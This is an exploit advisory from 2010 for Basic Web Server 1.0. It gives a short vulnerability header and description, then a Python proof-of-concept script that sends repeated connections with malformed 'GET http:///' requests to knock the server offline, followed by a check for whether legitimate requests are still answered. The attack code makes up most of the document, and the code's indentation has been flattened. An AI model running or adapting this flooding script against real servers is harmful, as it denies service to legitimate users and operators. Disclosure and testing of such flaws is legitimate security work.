Basic Web Server 1.0 Denial Of Service

`# ------------------------------------------------------------------------  
  
# Software................Basic Web Server 1.0  
  
# Vulnerability...........Denial Of Service  
  
# Download................http://www.bit4free.com/  
  
# Release Date............9/16/2010  
  
# Tested On...............Windows XP  
  
# ------------------------------------------------------------------------  
  
# Author..................John Leitch  
  
# Site....................http://www.johnleitch.net/  
  
# [email protected]  
  
# ------------------------------------------------------------------------  
  
#   
  
# --Description--  
#   
# Flooding the server with malformed HTTP requests results in the server  
# failing to respond to legitimate requests.  
#   
#   
# --PoC--  
  
  
  
import socket  
  
host = 'localhost'  
port = 80  
  
include_file = True  
complete_path = True  
  
try:  
for i in range(0, 1024):  
  
for x in range(0, 8):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.settimeout(2)  
s.send('GET http:/// HTTP/1.1\r\n'  
'Host: ' + host + '\r\n\r\n')  
print '.',  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.settimeout(2)  
s.send('GET / HTTP/1.1\r\n'  
'Host: ' + host + '\r\n\r\n')  
s.recv(8192)  
  
print 'response received'  
except:  
print 'error contacting server'  
`